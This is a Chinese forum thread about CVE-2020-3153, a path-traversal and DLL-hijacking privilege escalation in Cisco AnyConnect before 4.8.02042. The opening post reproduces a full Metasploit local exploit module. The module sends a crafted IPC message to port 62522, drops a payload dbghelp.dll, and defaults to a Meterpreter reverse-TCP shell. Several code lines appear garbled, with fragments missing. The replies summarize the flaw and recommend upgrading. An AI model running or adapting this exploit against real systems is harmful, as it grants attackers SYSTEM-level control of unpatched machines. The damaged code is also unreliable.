Cisco AnyConnect 提权漏洞
Cisco AnyConnect Secure Mobility Client version 4.8.02042之前的版本都存在这个问题。
允许本地攻击者使用系统级特权在任意位置创建/覆盖文件,攻击在于将特制的IPC请求发送到回送设备上的TCP端口62522,该设备由Cisco AnyConnect安全移动代理服务公开。然后此服务将启动易受攻击的安装程序组件(vpndownloader),该组件会在使用系统特权执行之前将自身复制到任意位置。由于vpndownloader也容易受到DLL劫持的影响,因此将在同一位置创建特制的DLL(dbghelp.dll),vpndownloader将被复制以获得具有系统特权的代码执行。此漏洞利用针对Windows 10版本1909(x64)和Windows 7 SP1(x86)上的Cisco AnyConnect Secure Mobility Client版本4.5.04029、4.5.05030和4.7.04056已成功测试。
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Priv
include Msf::Post::Windows::FileInfo
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco AnyConnect Priv Esc through Path Traversal',
'Description' => %q{
The installer component of Cisco AnyConnect Secure Mobility Client for Windows
prior to 4.8.02042 is vulnerable to path traversal and allows local attackers
to create/overwrite files in arbitrary locations with system level privileges.
The attack consists in sending a specially crafted IPC request to the TCP port
62522 on the loopback device, which is exposed by the Cisco AnyConnect Secure
Mobility Agent service. This service will then launch the vulnerable installer
component (`vpndownloader`), which copies itself to an arbitrary location
before being executed with system privileges. Since `vpndownloader` is also
vulnerable to DLL hijacking, a specially crafted DLL (`dbghelp.dll`) is created
at the same location `vpndownloader` will be copied to get code execution with
system privileges.
This exploit has been successfully tested against Cisco AnyConnect Secure
Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10
version 1909 (x64) and Windows 7 SP1 (x86).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yorick Koster', # original PoC, analysis
'Antoine Goichot (ATGO)', # PoC
'Christophe De La Fuente' # msf module
],
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[
'Windows x86/x64 with x86 payload',
{
'Arch' => ARCH_X86
}
]
],
'Privileged' => true,
'References' =>
[
['URL', 'https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/'],
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj'],
['CVE', '2020-3153']
],
'DisclosureDate' => 'Feb 19 2020',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
'FileDropperDelay' => 10
}
)
)
register_options [
OptString.new('INSTALL_PATH', [
false,
'Cisco AnyConnect Secure Mobility Client installation path (where \'vpndownloader.exe\''\
' should be found). It will be automatically detected if not set.'
])
]
register_advanced_options [
OptBool.new('ForceExploit', )
]
end
# See AnyConnect IPC protocol articles:
# - https://www.serializing.me/2016/12/14/anyconnect-elevation-of-privileges-part-1/
# - https://www.serializing.me/2016/12/20/anyconnect-elevation-of-privileges-part-2/
class CIPCHeader < BinData::Record
endian :little
uint32 :id_tag, label: 'ID Tag', value: 0x4353434f
uint16 :header_length, label: 'Header Length', initial_value: -> { num_bytes }
uint16 :data_length, label: 'Data Length', initial_value: -> { parent.body.num_bytes }
uint32 :ipc_repsonse_cb, label: 'IPC response CB', initial_value: 0xFFFFFFFF
uint32 :msg_user_context, label: 'Message User Context', initial_value: 0x00000000
uint32 :request_msg_id, label: 'Request Message Id', initial_value: 0x00000002
uint32 :return_ipc_object, label: 'Return IPC Object', initial_value: 0x00000000
uint8 :message_type, label: 'Message Type', initial_value: 1
uint8 :message_id, label: 'Message ID', initial_value: 2
end
class CIPCTlv < BinData::Record
endian :big
uint8 :msg_type, label: 'Type'
uint8 :msg_index, label: 'Index'
uint16 :msg_length, label: 'Length', initial_value: -> { msg_value.num_bytes }
stringz :msg_value, label: 'Value', length: -> { msg_length }
end
class CIPCMessage < BinData::Record
endian :little
cipc_header :header, label: 'Header'
array :body, label: 'Body', type: :cipc_tlv, read_until: :eof
end
def detect_path
program_files_paths = Set.new()
program_files_paths << get_env('ProgramFiles(x86)')
path = 'Cisco\\Cisco AnyConnect Secure Mobility Client'
program_files_paths.each do |program_files_path|
next unless file_exist?(.join('\\'))
return "#{program_files_path}\\#{path}"
end
nil
end
def sanitize_path(path)
return nil unless path
path = path.strip
loop do
break if path.last != '\\'
path.chop!
end
path
end
def check
install_path = sanitize_path(datastore['INSTALL_PATH'])
if install_path&.!= ''
vprint_status("Skipping installation path detection and use provided path: #{install_path}")
@installation_path = file_exist?(.join('\\')) ? install_path : nil
else
vprint_status('Try to detect installation path...')
@installation_path = detect_path
end
unless @installation_path
return CheckCode.Safe('vpndownloader.exe not found on file system')
end
file_path = "#{@installation_path}\\vpndownloader.exe"
vprint_status("Found vpndownloader.exe path: '#{file_path}'")
version = file_version(file_path)
unless version
return CheckCode.Unknown('Unable to retrieve vpndownloader.exe file version')
end
patched_version = Gem::Version.new('4.8.02042')
@ac_version = Gem::Version.new(version.join('.'))
if @ac_version < patched_version
return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version}.")
else
return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version}.")
end
end
def exploit
fail_with(Failure::None, 'Session is already elevated') if is_system?
if !payload.arch.include?(ARCH_X86)
fail_with(Failure::None, 'Payload architecture is not compatible with this module. Please, select an x86 payload')
end
check_result = check
print_status(check_result.message)
if check_result == CheckCode::Safe
unless @installation_path
fail_with(Failure::NoTarget, 'Installation path not found (try to set INSTALL_PATH if automatic detection failed)')
end
unless datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Target is not vulnerable (set ForceExploit to override)')
end
print_warning('Override check result and attempt exploitation anyway')
end
cac_cmd = '"CAC-nc-install'
if @ac_version && @ac_version >= Gem::Version.new('4.7')
vprint_status('"-ipc" argument needed')
cac_cmd << "\t-ipc=#{rand_text_numeric(5)}"
else
vprint_status('"-ipc" argument not needed')
end
program_data_path = get_env('ProgramData')
dbghelp_path = "#{program_data_path}\\Cisco\\dbghelp.dll"
print_status("Writing the payload to #{dbghelp_path}")
begin
payload_dll = generate_payload_dll(dll_exitprocess: true)
write_file(dbghelp_path, payload_dll)
register_file_for_cleanup(dbghelp_path)
rescue ::Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::NotFound, e.message)
end
# vpndownloader.exe will be copied to "C:\ProgramData\Cisco\" (assuming the
# normal process will copy the file to
# "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer\XXXX.tmp\")
register_file_for_cleanup("#{program_data_path}\\Cisco\\vpndownloader.exe")
junk = Rex::Text.rand_text_alphanumeric(4)
cac_cmd << "\t#{@installation_path}\\#{junk}\\#{junk}\\#{junk}\\#{junk}\\../../../../vpndownloader.exe\t-\""
vprint_status("IPC Command: #{cac_cmd}")
cipc_msg = CIPCMessage.new
cipc_msg.body << CIPCTlv.new(
msg_type: 0,
msg_index: 2,
msg_value: cac_cmd
)
cipc_msg.body << CIPCTlv.new(
msg_type: 0,
msg_index: 6,
msg_value: "#{@installation_path}\\vpndownloader.exe"
)
vprint_status('Connecting to the AnyConnect agent on 127.0.0.1:62522')
begin
socket = client.net.socket.create(
Rex::Socket::Parameters.new(
'PeerHost' => '127.0.0.1',
'PeerPort' => 62522,
'Proto' => 'tcp'
)
)
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
end
vprint_status("Send the encoded IPC command (size = #{cipc_msg.num_bytes} bytes)")
socket.write(cipc_msg.to_binary_s)
socket.flush
# Give FileDropper some time to cleanup before handing over to the operator
Rex.sleep(3)
ensure
if socket
vprint_status('Shutdown the socket')
socket.shutdown
end
end
end
Re: Cisco AnyConnect 提权漏洞
感谢分享这个漏洞信息。Cisco AnyConnect 确实是很常用的远程接入工具,这个提权漏洞影响范围不小,特别是 4.8.02042 之前的版本都存在风险。 从描述来看,攻击者需要有本地访问权限,通过向本地回环地址的 62522 端口发送特制 IPC 请求来触发,利用路径遍历和 DLL 劫持实现系统级权限提升。关键点在于 `vpndownloader` 组件既会复制自身到任意位置,又存在 DLL 劫持问题,结合 `dbghelp.dll` 就可获得代码执行。 对于管理员来说,最直接的防护措施是尽快升级到 4.8.02042 或更高版本,同时注意限制本地用户的权限,尤其是对受控端点设备的访问控制。这个漏洞的复现条件需要攻击者已经能访问本机,但一旦利用成功,提权后果很严重,值得重视。Re: Cisco AnyConnect 提权漏洞
感谢分享这个漏洞的详细信息,看起来很完整,连 Metasploit 模块代码都贴出来了。Cisco AnyConnect 确实用得很广,这个路径穿越加 DLL 劫持的组合提权方式影响不小。提醒下还在用 4.8.02042 之前版本的朋友,尽快升级到最新版吧,本地提权在 Windows 环境下还是蛮危险的。Re: Cisco AnyConnect 提权漏洞
感谢分享这个漏洞细节!看起来影响范围挺广的,4.8.02042之前的版本都存在路径遍历和DLL劫持风险。本地攻击者通过回环地址的62522端口触发vpn下载器组件,再利用dbghelp.dll劫持提权到System权限,攻击链设计得比较巧妙。Metasploit模块已经包含在内,应该能帮助安全人员测试环境。想问一下,官方修复版本就是4.8.02042吗?有没有临时缓解措施,比如禁用那个服务端口?
页:
[1]